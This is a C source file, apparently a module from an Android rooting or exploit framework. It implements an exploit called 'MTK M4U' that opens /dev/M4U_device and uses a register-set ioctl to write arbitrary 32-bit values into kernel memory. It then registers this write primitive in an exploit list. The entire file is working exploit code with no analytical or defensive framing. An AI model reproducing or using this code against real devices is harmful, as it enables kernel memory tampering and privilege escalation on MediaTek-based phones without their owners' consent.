
#include "log.h"
#include "exploit.h"
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <string.h>

#define MTK_M4U_MAGICNO 'g'
#define MTK_M4U_T_REG_SET             _IOW(MTK_M4U_MAGICNO, 24, int)

struct m4u_t_reg_set {
    unsigned int addr;
    unsigned int val;
};

static int mtk_M4U_init(void **opaque) {
    int fd;

    *opaque = (void *) -1;
    fd = open("/dev/M4U_device", O_RDONLY);
    if (fd < 0) {
        //LOGE("open()");
        return -1;
    }
    *opaque = (void *) fd;
    return 0;
}

static void mtk_M4U_free(void **opaque) {
    if ((int)(*opaque) >= 0)
        close((int)(*opaque));
    *opaque = (void *) -1;
}

static int mtk_M4U_write32(void *opaque, long addr, long val) {
    int rc, fd = (int) opaque;
    struct m4u_t_reg_set payload;

    payload.addr = addr;
    payload.val = val;
    rc = ioctl(fd, MTK_M4U_T_REG_SET, &payload);
    if (rc < 0)
        LOGE("ioctl()");
    return rc;
}

exploit_t EXPLOIT_mtk_M4U = {
    .name = "MTK M4U",
    .flags = EXPLOIT_POKE_TEXT,
    .init = mtk_M4U_init,
    .free = mtk_M4U_free,
    .write32 = mtk_M4U_write32,
};

void exploit_init(exploit_t **list) {
    int i = 0;
    int size = 0;
    exploit_t *exp = 0, *tmp;

    ADDEXP(mtk_M4U);

//    switch (g_type) {
//
//    case S_MTK_1:
//    	ADDEXP(mtk_M4U);
//    	break;
//
//    default:
//    	break;
//    }

    *list = exp;
}
